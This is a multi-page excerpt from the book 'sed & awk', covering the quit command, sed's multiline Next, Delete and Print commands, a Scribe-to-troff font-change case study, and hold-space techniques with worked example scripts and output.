sed & awkSearch this book
Previous: 5.11 Reading and Writing Files Chapter 5
Basic sed Commands 		Next: 6. Advanced sed Commands

5.12 Quit

The quit command (q) causes sed to stop reading new input lines (and stop sending them to the output). Its syntax is:

[line-address]q

It can take only a single-line address. Once the line matching address is reached, the script will be terminated.[10] For instance, the following one-liner uses the quit command to print the first 100 lines from a file:

[10] You need to be very careful not to use q in any program that writes its edits back to the original file. After q is executed, no further output is produced. It should not be used in any case where you want to edit the front of the file and pass the remainder through unchanged. Using q in this case is a very dangerous beginner's mistake.

$ sed '100q' test
...

It prints each line until it gets to line 100 and quits. In this regard, this command functions similarly to the UNIX head command.

Another possible use of quit is to quit the script after you've extracted what you want from a file. For instance, in an application like getmac (presented in Chapter 4, Writing sed Scripts, there is some inefficiency in continuing to scan through a large file after sed has found what it is looking for.

So, for example, we could revise the sed script in the getmac shell script as follows:

sed -n "
/^\.de *$mac/,/^\.\.$/{
p
/^\.\.$/q
}" $file

The grouping of commands keeps the line:

/^\.\.$/q

from being executed until sed reaches the end of the macro we're looking for. (This line by itself would terminate the script at the conclusion of the first macro definition.) The sed program quits on the spot, and doesn't continue through the rest of the file looking for other possible matches.

Because the macro definition files are not that long, and the script itself not that complex, the actual time saved from this version of the script is negligible. However, with a very large file, or a complex, multiline script that needs to be applied to only a small part of the file, this version of the script could be a significant timesaver.

If you compare the following two shell scripts, you should find that the first one performs better than the second. The following simple shell program prints out the top 10 lines of a file and then quits:

for file
do
    sed 10q $file
done

The next example also prints the first 10 lines using the print command and suppressing default output:

for file
do
    sed -n 1,10p $file
done

If you haven't already done so, you should practice using the commands presented in this chapter before going on to the advanced commands in the next chapter.

Previous: 5.11 Reading and Writing Files | sed & awk | Next: 6. Advanced sed Commands
5.11 Reading and Writing Files | Book Index | 6. Advanced sed Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 6] Advanced sed Commands

sed & awk

sed & awkSearch this book
Previous: 5.12 Quit Chapter 6 Next: 6.2 A Case for Study

6. Advanced sed Commands

Contents:
Multiline Pattern Space
A Case for Study
Hold That Line
Advanced Flow Control Commands
To Join a Phrase

In this chapter, we cover the remaining sed commands. These commands require more determination to master and are more difficult to learn from the standard documentation than any of the basic commands. You can consider yourself a true sed-master once you understand the commands presented here.

The advanced commands fall into three groupings:

  1. Working with a multiline pattern space (N,D,P).

  2. Using the hold space to preserve the contents of the pattern space and make it available for subsequent commands (H,h,G,g,x).

  3. Writing scripts that use branching and conditional instructions to change the flow of control (:,b,t).

If the advanced scripts in this chapter have one thing in common, it is that they alter the sequential flow of execution or control. Normally, a line is read into the pattern space and each command in the script, one right after the other, is applied to that line. When the bottom of the script is reached, the line is output and the pattern space is cleared. Then a new line is read into the pattern space and control passes back to the top of the script. That is the normal flow of control in a sed script.

The scripts in this chapter interrupt or break the normal flow of control for various reasons. They might want to prevent commands in the script from executing except under certain circumstances, or to prevent the contents of the pattern space from being cleared out. Altering the flow of control makes a script much more difficult to read and understand. In fact, the scripts may be easier to write than they are to read. When you are writing a difficult script, you have the benefit of testing it to see how and why commands work.

We'd recommend that you test the scripts presented in this chapter and experiment by adding or removing commands to understand how the script is working. Seeing the results for yourself will help you understand the script much better than simply reading about it.

6.1 Multiline Pattern Space

We have emphasized in previous discussions of regular expressions that pattern matching is line-oriented. A program like grep attempts to match a pattern on a single line of input. This makes it difficult to match a phrase, for instance, which can start at the end of one line and finish at the beginning of the next line. Other patterns might be significant only when repeated on multiple lines.

Sed has the ability to look at more than one line in the pattern space. This allows you to match patterns that extend over multiple lines. In this section, we will look at commands that create a multiline pattern space and manipulate its contents. The three multiline commands (N,D,P) all correspond to lowercase basic commands (n,d,p) that were presented in the previous chapter. The Delete (D) command, for instance, is a multiline version of the delete command (d). The difference is that while d deletes the contents of the pattern space, D deletes only the first line of a multiline pattern space.

6.1.1 Append Next Line

The multiline Next (N) command creates a multiline pattern space by reading a new line of input and appending it to the contents of the pattern space. The original contents of pattern space and the new input line are separated by a newline. The embedded newline character can be matched in patterns by the escape sequence "\n". In a multiline pattern space, the metacharacter "^" matches the very first character of the pattern space, and not the character(s) following any embedded newline(s). Similarly, "$" matches only the final newline in the pattern space, and not any embedded newline(s). After the Next command is executed, control is then passed to subsequent commands in the script.

The Next command differs from the next command, which outputs the contents of the pattern space and then reads a new line of input. The next command does not create a multiline pattern space.

For our first example, let's suppose that we wanted to change "Owner and Operator Guide" to "Installation Guide" but we found that it appears in the file on two lines, splitting between "Operator" and "Guide."

For instance, here are a few lines of sample text:

Consult Section 3.1 in the Owner and Operator
Guide for a description of the tape drives
available on your system.

The following script looks for "Operator" at the end of a line, reads the next line of input and then makes the replacement.

/Operator$/{
N
s/Owner and Operator\nGuide/Installation Guide/
}

In this example, we know where the two lines split and where to specify the embedded newline. When the script is run on the sample file, it produces the two lines of output, one of which combines the first and second lines and is too long to show here. This happens because the substitute command matches the embedded newline but does not replace it. Unfortunately, you cannot use "\n" to insert a newline in the replacement string. You must use a backslash to escape the newline, as follows:

s/Owner and Operator\nGuide /Installation Guide\
/

This command restores the newline after "Installation Guide". It is also necessary to match a space following "Guide" so the new line won't begin with a space. Now we can show the output:

Consult Section 3.1 in the Installation Guide
for a description of the tape drives
available on your system.

Remember, you don't have to replace the newline but if you don't it can make for some long lines.

What if there are other occurrences of "Owner and Operator Guide" that break over multiple lines in different places? You could modify the regular expression to look for a space or a newline between words, as shown below:

/Owner/{
N
s/Owner *\n*and *\n*Operator *\n*Guide/Installation Guide/
}

The asterisk indicates that the space or newline is optional. This seems like hard work, though, and indeed there is a more general way. We have also changed the address to match "Owner," the first word in the pattern instead of the last. We can read the newline into the pattern space and then use a substitute command to remove the embedded newline, wherever it is.

s/Owner and Operator Guide/Installation Guide/
/Owner/{
N
s/ *\n/ /
s/Owner and Operator Guide */Installation Guide\
/
}

The first line matches "Owner and Operator Guide" when it appears on a line by itself. (See the discussion after the example about why this is necessary.) If we match the string "Owner," we read the next line into the pattern space, and replace the embedded newline with a space. Then we attempt to match the whole pattern and make the replacement followed by a newline. This script will match "Owner and Operator Guide" regardless of how it is broken across two lines. Here's our expanded test file:

Consult Section 3.1 in the Owner and Operator
Guide for a description of the tape drives
available on your system.

Look in the Owner and Operator Guide shipped with your system.

Two manuals are provided including the Owner and
Operator Guide and the User Guide.

The Owner and Operator Guide is shipped with your system.

Running the above script on the sample file produces the following result:

$ sed -f sedscr sample
Consult Section 3.1 in the Installation Guide
for a description of the tape drives
available on your system.

Look in the Installation Guide shipped with your system.

Two manuals are provided including the Installation Guide
and the User Guide.

The Installation Guide is shipped with your system.

In this sample script, it might seem redundant to have two substitute commands that match the pattern. The first one matches it when the pattern is found already on one line and the second matches the pattern after two lines have been read into the pattern space. Why the first command is necessary is perhaps best demonstrated by removing that command from the script and running it on the sample file:

$ sed -f sedscr2 sample
Consult Section 3.1 in the Installation Guide
for a description of the tape drives
available on your system.

Look in the Installation Guide
shipped with your system.
Two manuals are provided including the Installation Guide
and the User Guide.

Do you see the two problems? The most obvious problem is that the last line did not print. The last line matches "Owner" and when N is executed, there is not another input line to read, so sed quits (immediately, without even outputting the line). To fix this, the Next command should be used as follows to be safe:

$!N

It excludes the last line ($) from the Next command. As it is in our script, by matching "Owner and Operator Guide" on the last line, we avoid matching "Owner" and applying the N command. However, if the word "Owner" appeared on the last line we'd have the same problem unless we use the "$!N" syntax.

The second problem is a little less conspicuous. It has to do with the occurrence of "Owner and Operator Guide" in the second paragraph. In the input file, it is found on a line by itself:

Look in the Owner and Operator Guide shipped with your system.

In the output shown above, the blank line following "shipped with your system." is missing. The reason for this is that this line matches "Owner" and the next line, a blank line, is appended to the pattern space. The substitute command removes the embedded newline and the blank line has in effect vanished. (If the line were not blank, the newline would still be removed but the text would appear on the same line with "shipped with your system.") The best solution seems to be to avoid reading the next line when the pattern can be matched on one line. So, that is why the first instruction attempts to match the case where the string appears all on one line.

6.1.1.1 Converting an Interleaf file

FrameMaker and Interleaf make WYSIWYG technical publishing packages. Both of them have the ability to read and save the contents of a document in an ASCII-coded format as opposed to their normal binary file format. In this example, we convert an Interleaf file into troff; however, the same kind of script could be applied to convert a troff-coded file to Interleaf format. The same is true of FrameMaker. Both place coding tags in the file, surrounded by angle brackets.

In this example, our conversion demonstrates the effect of the change command on a multiline pattern space. In the Interleaf file, "<para>" marks a paragraph. Before and after the tag are blank lines. Look at the sample file:

<para>

This is a test paragraph in Interleaf style ASCII.  Another line
in a paragraph.  Yet another.

<Figure Begin>

v.1111111111111111111111100000000000000000001111111111111000000
100001000100100010001000001000000000000000000000000000000000000
000000

<Figure End>

<para>

More lines of text to be found after the figure.
These lines should print.

This file also contains a bitmap figure, printed as a series of 1s and 0s. To convert this file to troff macros, we must replace the "<para>" code with a macro (.LP). However, there's a bit more to do because we need to remove the blank line that follows the code. There are several ways to do it, but we will use the Next command to create a multiline pattern space, consisting of "<para>" and the blank line, and then use the change command to replace what's in the pattern space with a paragraph macro. Here's the part of the script that does it:

/<para>/{
    N
    c\
.LP
}

The address matches lines with the paragraph tag. The Next command appends the next line, which should be blank, to the pattern space. We use the Next command (N) instead of next (n) because we don't want to output the contents of the pattern space. The change command overwrites the previous contents ("<para>" followed by a newline) of the pattern space, even when it contains multiple lines.

In this conversion script, we'd like to extract the bitmapped figure data and write it to a separate file. In its place, we insert figure macros that mark the figure in the file.

/<Figure Begin>/,/<Figure End>/{
    w fig.interleaf
    /<Figure End>/i\
.FG\
<insert figure here>\
.FE
    d
}

This procedure matches the lines between "<Figure Begin>" and "<Figure End>" and writes them to the file named fig.interleaf. Each time this instruction is matched, the delete command will be executed, deleting the lines that have been written to file. When "<Figure End>" is matched, a pair of macros are inserted in place of the figure in the output. Notice that the subsequent delete command does not affect the text output by the insert command. It does, however, delete "<Figure End>" from the pattern space.

Here's the entire script:

/<para>/{
    N
    c\
.LP
}
/<Figure Begin>/,/<Figure End>/{
    w fig.interleaf
    /<Figure End>/i\
.FG\
<insert figure here>\
.FE
    d
}
/^$/d

The third instruction simply removes unnecessary blank lines. (Note that this instruction could be depended upon to delete the blank line following the "<para>" tag; but you don't always want to remove all blank lines, and we wanted to demonstrate the change command across a multiline pattern space.)

The result of running this script on the test file produces:

$ sed -f sed.interleaf test.interleaf
.LP
This is a test paragraph in Interleaf style ASCII.  Another line
in a paragraph.  Yet another.
.FG
<insert figure here>
.FE
.LP
More lines of text to be found after the figure.
These lines should print.

6.1.2 Multiline Delete

The delete command (d) deletes the contents of the pattern space and causes a new line of input to be read with editing resuming at the top of the script. The Delete command (D) works slightly differently: it deletes a portion of the pattern space, up to the first embedded newline. It does not cause a new line of input to be read; instead, it returns to the top of the script, applying these instructions to what remains in the pattern space. We can see the difference by writing a script that looks for a series of blank lines and outputs a single blank line. The version below uses the delete command:

# reduce multiple blank lines to one; version using d command
/^$/{
    N
    /^\n$/d
}

When a blank line is encountered, the next line is appended to the pattern space. Then we try to match the embedded newline. Note that the positional metacharacters, ^ and $, match the beginning and the end of the pattern space, respectively. Here's a test file:

This line is followed by 1 blank line.

This line is followed by 2 blank lines.

This line is followed by 3 blank lines.

This line is followed by 4 blank lines.

This is the end.

Running the script on the test file produces the following result:

$ sed -f sed.blank test.blank
This line is followed by 1 blank line.

This line is followed by 2 blank lines.
This line is followed by 3 blank lines.

This line is followed by 4 blank lines.
This is the end.

Where there was an even number of blank lines, all the blank lines were removed. Only when there was an odd number was a single blank line preserved. That is because the delete command clears the entire pattern space. Once the first blank line is encountered, the next line is read in, and both are deleted. If a third blank line is encountered, and the next line is not blank, the delete command is not applied, and thus a blank line is output. If we use the multiline Delete command (D rather than d), we get the result we want:

$ sed -f sed2.blank test.blank
This line is followed by 1 blank line.

This line is followed by 2 blank lines.

This line is followed by 3 blank lines.

This line is followed by 4 blank lines.

This is the end.

The reason the multiline Delete command gets the job done is that when we encounter two blank lines, the Delete command removes only the first of the two. The next time through the script, the blank line will cause another line to be read into the pattern space. If that line is not blank, then both lines are output, thus ensuring that a single blank line will be output. In other words, when there are two blank lines in the pattern space, only the first one is deleted. When there is a blank line followed by text, the pattern space is output normally.

6.1.3 Multiline Print

The multiline Print command differs slightly from its lowercase cousin. This command outputs the first portion of a multiline pattern space, up to the first embedded newline. After the last command in a script is executed, the contents of the pattern space are automatically output. (The -n option or #n suppresses this default action.) Therefore, print commands (P or p) are used when the default output is suppressed or when flow of control in a script changes such that the bottom of the script is not reached. The Print command frequently appears after the Next command and before the Delete command. These three commands can set up an input/output loop that maintains a two-line pattern space yet outputs only one line at a time. The purpose of this loop is to output only the first line in the pattern space, then return to the top of the script to apply all commands to what had been the second line in the pattern space. Without this loop, when the last command in the script was executed, both lines in the pattern space would be output. The flow through a script that sets up an input/output loop using the Next, Print, and Delete commands is illustrated in Figure 6.1. A multiline pattern space is created to match "UNIX" at the end of the first line and "System" at the beginning of the second line. If "UNIX System" is found across two lines, we change it to "UNIX Operating System". The loop is set up to return to the top of the script and look for "UNIX" at the end of the second line.

Figure 6.1: The Next, Print, and Delete commands used to set up an input/output loop

The Next command appends a new input line to the current line in the pattern space. After the substitute command is applied to the multiline pattern space, the first part of the pattern space is output by the Print command and then removed by the Delete command. That means the current line is output and the new line becomes the current line. The Delete command prevents the script from reaching bottom, which would output both lines and clear the contents of the pattern space. The Delete command lets us preserve the second portion of the pattern space and pass control to the top of the script where all the editing commands can now be applied to that line. One of those commands is the Next command which reads another new line into the pattern space.

The following script implements the same loop:

/UNIX$/{
        N
        /\nSystem/{
        s// Operating &/
        P
        D
        }
}

The substitute command matches "\nSystem" and replaces it with "Operating \nSystem." It is important that the newline be maintained, or else there will be only a single line in the pattern space. Note the order of the Print and Delete commands. Here's our test file:

Here are examples of the UNIX
System.  Where UNIX
System appears, it should be the UNIX
Operating System.

Running the script on the test file produces:

$ sed -f sed.Print test.Print
Here are examples of the UNIX Operating
System.  Where UNIX Operating
System appears, it should be the UNIX
Operating System.

The input/output loop lets us match the occurrence of UNIX at the end of the second line. It would be missed if the two-line pattern space was output normally.

If the relationship between the P and D commands remains unclear to you, we'll have another go at it in the next example. You can also experiment by removing either command from the above script, or try using their lowercase cousins.

Previous: 5.12 Quit | sed & awk | Next: 6.2 A Case for Study
5.12 Quit | Book Index | 6.2 A Case for Study
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 6] 6.2 A Case for Study

sed & awk

sed & awkSearch this book
Previous: 6.1 Multiline Pattern Space Chapter 6
Advanced sed Commands 		Next: 6.3 Hold That Line

6.2 A Case for Study

Lenny, on our staff, was having difficulty converting a document coded for Scribe to our troff macro package, because of font changes. The problems he encountered are quite interesting, apart from the task he was trying to do.

The Scribe convention for putting text in a bold font is:

@f1(put this in bold)

This font change command can appear in-line and may begin on one line and end on a subsequent line. It can also appear more than once on a line. Here's a sample file that shows several different occurrences:

$ cat test
I want to see @f1(what will happen) if we put the
font change commands @f1(on a set of lines).  If I understand
things (correctly), the @f1(third) line causes problems. (No?).
Is this really the case, or is it (maybe) just something else?

Let's test having two on a line @f1(here) and @f1(there) as
well as one that begins on one line and ends @f1(somewhere
on another line).  What if @f1(it is here) on the line?
Another @f1(one).

The sample file shows the different contexts in which the font-change commands appear. The script must match "@f1(anything)" when it occurs on a single line or multiple times on the same line or when it extends across more than one line.

The easiest way to make a single match is:

s/@f1(\(.*\))/\\fB\1\\fR/g

The regular expression matches "@f1(.*)" and saves anything inside parentheses using \( and \). In the replacement section, the saved portion of the match is recalled as "\1".

Putting this command in a sed script, we will run it on our sample file.

$ sed -f sed.len test
I want to see \fBwhat will happen\fR if we put the
font change commands \fBon a set of lines\fR.  If I understand
things (correctly), the \fBthird) line causes problems. (No?\fR.
Is this really the case, or is it (maybe) just something else?

Let's test having two on a line \fBhere) and @f1(there\fR as
well as one that begins on one line and ends @f1(somewhere
on another line).  What if \fBit is here\fR on the line?
Another \fBone\fR.

The substitute command works properly in the first two lines. It fails on the third line. It also fails in the first line of the second paragraph where there are multiple occurrences on the same line.

Because a regular expression always makes the longest match possible, ".*" matches all the characters from "@f1(" to the last closing parenthesis on the line. In other words, the span indicated by ".*" ends with the last close parenthesis it finds, not the first.

We can fix this problem by modifying the regular expression ".*" to zero or more occurrences of any character except ")".

[^)]*

In a character class, the caret (^) reverses the sense of the operation so it matches all characters except those specified in the brackets. Here's how the revised command looks:

s/@f1(\([^)]*\))/\\fB\1\\fR/g

Now we have a command that handles one or more occurrences on a single line.

I want to see \fBwhat will happen\fR if we put the
font change commands \fBon a set of lines\fR.  If I understand
things (correctly), the \fBthird\fR line causes problems. (No?).
Is this really the case, or is it (maybe) just something else?

Let's test having two on a line \fBhere\fR and \fBthere\fR as
well as one that begins on one line and ends @f1(somewhere
on another line).  What if \fBit is here\fR on the line?
Another \fBone\fR.

This command gets all instances except the one in the second paragraph that extends over two lines. Before solving this problem, it is interesting to look at Lenny's first solution to it and why it fails. Here's Lenny's first script:

/@f1(/,/)/{
    s/@f1(/\\fB/g
    s/)/\\fR/g
}

He tried to attack the problem of matching an occurrence over multiple lines by specifying a range of lines. Here's the result of running the script on the test file:

$ sed -f sed.len test.len
I want to see \fBwhat will happen\fR if we put the
font change commands \fBon a set of lines\fR.  If I understand
things (correctly, the \fBthird) line causes problems. (No?\fR.
Is this really the case, or is it (maybe) just something else?

Let's test having two on a line \fBhere) and (there\fR as
well as one that begins on one line and ends \fBsomewhere
on another line\fR.  What if \fBit is here\fR on the line?
Another \fBone\fR.

Matching lines containing ")" makes unwanted matches on lines containing only parentheses. The solution to matching the pattern over more than one line is to create a multiline pattern space. If we match "@f1(" and no closing parenthesis is found, we need to read (N) another line into the buffer and try to make the same kind of match as the first case (the \n represents the newline).

s/@f1(\([^)]*\))/\\fB\1\\fR/g
/@f1(.*/{
    N
    s/@f1(\(.*\n[^)]*\))/\\fB\1\\fR/g
}

We can test it out:

$ sed -f sednew test
I want to see \fBwhat will happen\fR if we put the
font change commands \fBon a set of lines\fR.  If I understand
things (correctly), the \fBthird\fR line causes problems. (No?).
Is this really the case, or is it (maybe) just something else?

Let's test having two on a line \fBhere\fR and \fBthere\fR as
well as one that begins on one line and ends \fBsomewhere
on another line\fR.  What if @f1(it is here) on the line?
Another \fBone\fR.

As you can see, we have caught all but the next to last font change. The N command reads a second line into the pattern space. The script matches the pattern across two lines and then outputs both lines from the pattern space. What about the second line? It needs a chance to have all the commands in the script applied to it from top to bottom. Now, perhaps you understand why we need to set up a multiline input/output loop like the one discussed in the previous section. We add the multiline Print and multiline Delete to the script.

# Scribe font change script.
s/@f1(\([^)]*\))/\\fB\1\\fR/g
/@f1(.*/{
    N
    s/@f1(\(.*\n[^)]*\))/\\fB\1\\fR/g
    P
    D
}

This can be translated as: Once making a substitution across two lines, print the first line and then delete it from the pattern space. With the second portion remaining in the pattern space, control passes to the top of the script where we see if there is an "@f1(" remaining on the line.

The revised script matches all occurrences in the sample file. However, it's not perfect, so we'll hear from Lenny again.

Previous: 6.1 Multiline Pattern Space | sed & awk | Next: 6.3 Hold That Line
6.1 Multiline Pattern Space | Book Index | 6.3 Hold That Line
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 6] 6.3 Hold That Line

sed & awk

sed & awkSearch this book
Previous: 6.2 A Case for Study Chapter 6
Advanced sed Commands 		Next: 6.4 Advanced Flow Control Commands

6.3 Hold That Line

The pattern space is a buffer that contains the current input line. There is also a set-aside buffer called the hold space. The contents of the pattern space can be copied to the hold space and the contents of the hold space can be copied to the pattern space. A group of commands allows you to move data between the hold space and the pattern space. The hold space is used for temporary storage, and that's it. Individual commands can't address the hold space or alter its contents.

The most frequent use of the hold space is to have it retain a duplicate of the current input line while you change the original in the pattern space. The commands that affect the pattern space are:

Command | Abbreviation | Function
Hold | h or H | Copy or append contents of pattern space to hold space.
Get | g or G | Copy or append contents of hold space to pattern space.
Exchange | x | Swap contents of hold space and pattern space.

Each of these commands can take an address that specifies a single line or a range of lines. The hold (h,H) commands move data into the hold space and the get (g,G) commands move data from the hold space back into the pattern space. The difference between the lowercase and uppercase versions of the same command is that the lowercase command overwrites the contents of the target buffer, while the uppercase command appends to the buffer's existing contents.

The hold command replaces the contents of the hold space with the contents of the pattern space. The get command replaces the contents of the pattern space with the contents of the hold space.

The Hold command puts a newline followed by the contents of the pattern space after the contents of the hold space. (The newline is appended to the hold space even if the hold space is empty.) The Get command puts a newline followed by the contents of the hold space after the contents of the pattern space.

The exchange command swaps the contents of the two buffers. It has no side effects on either buffer.

Let's use a trivial example to illustrate putting lines into the hold space and retrieving them later. We are going to write a script that reverses pairs of lines. For a sample file, we'll use a list of numbers:

1
2
11
22
111
222

The object is to reverse the order of the lines beginning with 1 and the lines beginning with 2. Here's how we use the hold space: we copy the first line to the hold space - and hold on to it - while we clear the pattern space. Then sed reads the second line into the pattern space and we append the line from the hold space to the end of the pattern space. Look at the script:

# Reverse flip
/1/{
h
d
}
/2/{
G
}

Any line matching a "1" is copied to the hold space and deleted from the pattern space. Control passes to the top of the script and the line is not printed. When the next line is read, it matches the pattern "2" and the line that had been copied to the hold space is now appended to the pattern space. Then both lines are printed. In other words, we save the first line of the pair and don't output it until we match the second line.

Here's the result of running the script on the sample file:

$ sed -f sed.flip test.flip
2
1
22
11
222
111

The hold command followed by the delete command is a fairly common pairing. Without the delete command, control would reach the bottom of the script and the contents of the pattern space would be output. If the script used the next (n) command instead of the delete command, the contents of the pattern space would also be output. You can experiment with this script by removing the delete command altogether or by putting a next command in its place. You could also see what happens if you use g instead of G.

Note that the logic of this script is poor, though the script is useful for demonstration purposes. If a line matches the first instruction and the next line fails to match the second instruction, the first line will not be output. This is a hole down which lines disappear.

6.3.1 A Capital Transformation

In the previous chapter, we introduced the transform command (y) and described how it can exchange lowercase letters for uppercase letters on a line. Since this command acts on the entire contents of the pattern space, it is something of a chore to do a letter-by-letter transformation of a portion of the line. But it is possible, though convoluted, as the following example will demonstrate.

While working on a programming guide, we found that the names of statements were entered inconsistently. They needed to be uppercase, but some were lowercase while others had an initial capital letter. While the task was simple - to capitalize the name of the statement - there were nearly 100 statements and it seemed a tedious project to write that many explicit substitutions of the form:

s/find the Match statement/find the MATCH statement/g

The transform command could do the lowercase-to-uppercase conversion but it applies the conversion to the entire line. The hold space makes this task possible because we use it to store a copy of the input line while we isolate and convert the statement name in the pattern space. Look at the script first:

# capitalize statement names
/the .* statement/{
h
s/.*the \(.*\) statement.*/\1/
y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/
G
s/\(.*\)\n\(.*the \).*\( statement.*\)/\2\1\3/
}

The address limits the procedure to lines that match "the .* statement". Let's look at what each command does:

h

The hold command copies the current input line into the hold space. Using the sample line "find the Match statement," we'll show the contents of the pattern space and of the hold space. After the h command, both the pattern space and the hold space are identical.

Pattern Space: find the Match statement
Hold Space: find the Match statement
s/.*the \(.*\) statement.*/\1/

The substitute command extracts the name of the statement from the line and replaces the entire line with it.

Pattern Space: Match
Hold Space: find the Match statement
y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/

The transform command changes each lowercase letter to an uppercase letter.

Pattern Space: MATCH
Hold Space: find the Match statement
G

The Get command appends the line saved in the hold space to the pattern space.

Pattern Space: MATCH\nfind the Match statement
Hold Space: find the Match statement
s/\(.*\)\n\(.*the \).*\( statement.*\)/\2\1\3/

The substitute command matches three different parts of the pattern space: 1) all characters up to the embedded newline, 2) all characters following the embedded newline and up to and including "the" followed by a space, and 3) all characters beginning with a space and followed by "statement" up to the end of the pattern space. The name of the statement as it appeared in the original line is matched but not saved. The replacement section of this command recalls the saved portions and reassembles them in a different order, putting the capitalized name of the command in between "the" and "statement."

Pattern Space: find the MATCH statement
Hold Space: find the Match statement

Let's look at a test run. Here's our sample file:

find the Match statement
Consult the Get statement.
using the Read statement to retrieve data

Running the script on the sample file produces:

find the MATCH statement
Consult the GET statement.
using the READ statement to retrieve data

As you can see from this script, skillful use of the hold space can aid in isolating and manipulating portions of the input line.

6.3.2 Correcting Index Entries (Part II)

In the previous chapter, we looked at a shell script named index.edit. This script extracts index entries from one or more files and automatically generates a sed script consisting of a substitute command for each index entry. We mentioned that a small failing of the script was that it did not look out for regular expression metacharacters that appeared as literals in an index entry, such as the following:

.XX "asterisk (*) metacharacter"

After processing this entry, the original index.edit generated the following substitute command:

/^\.XX /s/asterisk (*) metacharacter/asterisk (*) metacharacter/

While it "knows" to escape the period before ".XX", it doesn't protect the metacharacter "*". The problem is that the pattern "(*)" does not match "(*)" and the substitute command would fail to be applied. The solution is to modify index.edit so it looks for metacharacters and escapes them. There's one more twist: a different set of metacharacters is recognized in the replacement string.

We have to maintain two copies of the index entry. The first copy we edit to escape regular expression metacharacters and then use for the pattern. The second copy we edit to escape the metacharacters special to the replacement string. The hold space keeps the second copy while we edit the first copy, then we swap the two and edit the second copy. Here's the script:

#! /bin/sh
# index.edit -- compile list of index entries for editing
#		new version that matches metacharacters
grep "^\.XX" $* | sort -u |
sed '
h
s/[][\\*.]/\\&/g
x
s/[\\&]/\\&/g
s/^\.XX //
s/$/\//
x
s/^\\\.XX \(.*\)$/\/^\\.XX \/s\/\1\//
G
s/\n//'

The hold command puts a copy of the current index entry into the hold space. Then the substitute command looks for any of the following metacharacters: "]", "[", "\", "*" or ".". This regular expression is rather interesting: 1) if the close bracket is the first character in a character class, it is interpreted literally, not as the closing delimiter of the class; and 2) of the metacharacters specified, only the backslash has a special meaning in a character class and must be escaped. Also, there is no need to escape the metacharacters "^" and "$" because they only have special meaning if in the first or last positions in a regular expression, respectively, which is impossible given the structure of the index entry. After escaping the metacharacters, the exchange command swaps the contents of the pattern space and the hold space.

Starting with a new copy of the line, the substitute command adds a backslash to escape either a backslash or an ampersand for the replacement string. Then another substitute command removes the ".XX" from the line and the one after that appends a slash (/) to the end of the line, preparing a replacement string that looks like:

"asterisk (*) metacharacter"/

Once again, the exchange command swaps the pattern space and the hold space. With the first copy in the pattern space, we need to prepare the pattern address and the substitute pattern. The substitute command saves the index entry, and replaces the line with the first part of the syntax for the substitute command:

\/^\\.XX \/s\/\1\//

Using the sample entry, the pattern space would have the following contents:

/^\.XX /s/"asterisk (\*) metacharacter"/

Then the Get command takes the replacement string in the hold space and appends it to the pattern space. Because Get also inserts a newline, the substitute command is necessary to remove it. The following line is output at the end:

/^\.XX /s/"asterisk (\*) metacharacter"/"asterisk (*) metacharacter"/

6.3.3 Building Blocks of Text

The hold space can be used to collect a block of lines before outputting them. Some troff requests and macros are block-oriented, in that commands must surround a block of text. Usually a code at the beginning enables the format and one at the end disables the format. HTML-coded documents also contain many block-oriented constructs. For instance, "<p>" begins a paragraph and "</p>" ends it. In the next example, we'll look at placing HTML-style paragraph tags in a plain text file. For this example, the input is a file containing variable-length lines that form paragraphs; each paragraph is separated from the next one by a blank line. Therefore, the script must collect all lines in the hold space until a blank line is encountered. The contents of the hold space are retrieved and surrounded with the paragraph tags.

Here's the script:

/^$/!{
     H
     d
     }
/^$/{
    x
    s/^\n/<p>/
    s/$/<\/p>/
    G
    }

Running the script on a sample file produces:

<p>My wife won't let me buy a power saw.  She is afraid of an
accident if I use one.
So I rely on a hand saw for a variety of weekend projects like
building shelves.
However, if I made my living as a carpenter, I would
have to use a power
saw.  The speed and efficiency provided by power tools
would be essential to being productive.</p>

<p>For people who create and modify text files,
sed and awk are power tools for editing.</p>

<p>Most of the things that you can do with these programs
can be done interactively with a text editor.  However,
using these programs can save many hours of repetitive
work in achieving the same result.</p>

The script has basically two parts, corresponding to each address. Either we do one thing if the input line is not blank or a different thing if it is. If the input line is not blank, it is appended to the hold space (with H), and then deleted from the pattern space. The delete command prevents the line from being output and clears the pattern space. Control passes back to the top of the script and a new line is read. The general idea is that we don't output any line of text; it is collected in the hold space.

If the input line is blank, we process the contents of the hold space. To illustrate what the second procedure does, let's use the second paragraph in the previous sample file and show what happens. After a blank line has been read, the pattern space and the hold space have the following contents:

Pattern Space: | ^$
Hold Space: | \nFor people who create and modify text files, \nsed and awk are power tools for editing.

A blank line in the pattern space is represented as "^$", the regular expression that matches it. The embedded newlines are represented in the hold space by "\n". Note that the Hold command puts a newline in the hold space and then appends the current line to the hold space. Even when the hold space is empty, the Hold command places a newline before the contents of the pattern space.

The exchange command (x) swaps the contents of the hold space and the pattern space. The blank line is saved in the hold space so we can retrieve it at the end of the procedure. (We could insert a newline in other ways, also.)

Pattern Space: | \nFor people who create and modify text files, \nsed and awk are power tools for editing.
Hold Space: | ^$

Now we make two substitutions: placing "<p>" at the beginning of the pattern space and "</p>" at the end. The first substitute command matches "^\n" because a newline is at the beginning of the line as a consequence of the Hold command. The second substitute command matches the end of the pattern space ("$" does not match any embedded newlines but only the terminal newline.)

Pattern Space: | <p>For people who create and modify text files, \nsed and awk are power tools for editing.</p>
Hold Space: | ^$

Note that the embedded newline is preserved in the pattern space. The last command, G, appends the blank line in the hold space to the pattern space. Upon reaching the bottom of the script, sed outputs the paragraph we had collected in the hold space and coded in the pattern space.

This script illustrates the mechanics of collecting input and holding on to it until another pattern is matched. It's important to pay attention to flow control in the script. The first procedure in the script does not reach bottom because we don't want any output yet. The second procedure does reach bottom, clearing the pattern space and the hold space before we begin collecting lines for the next paragraph.

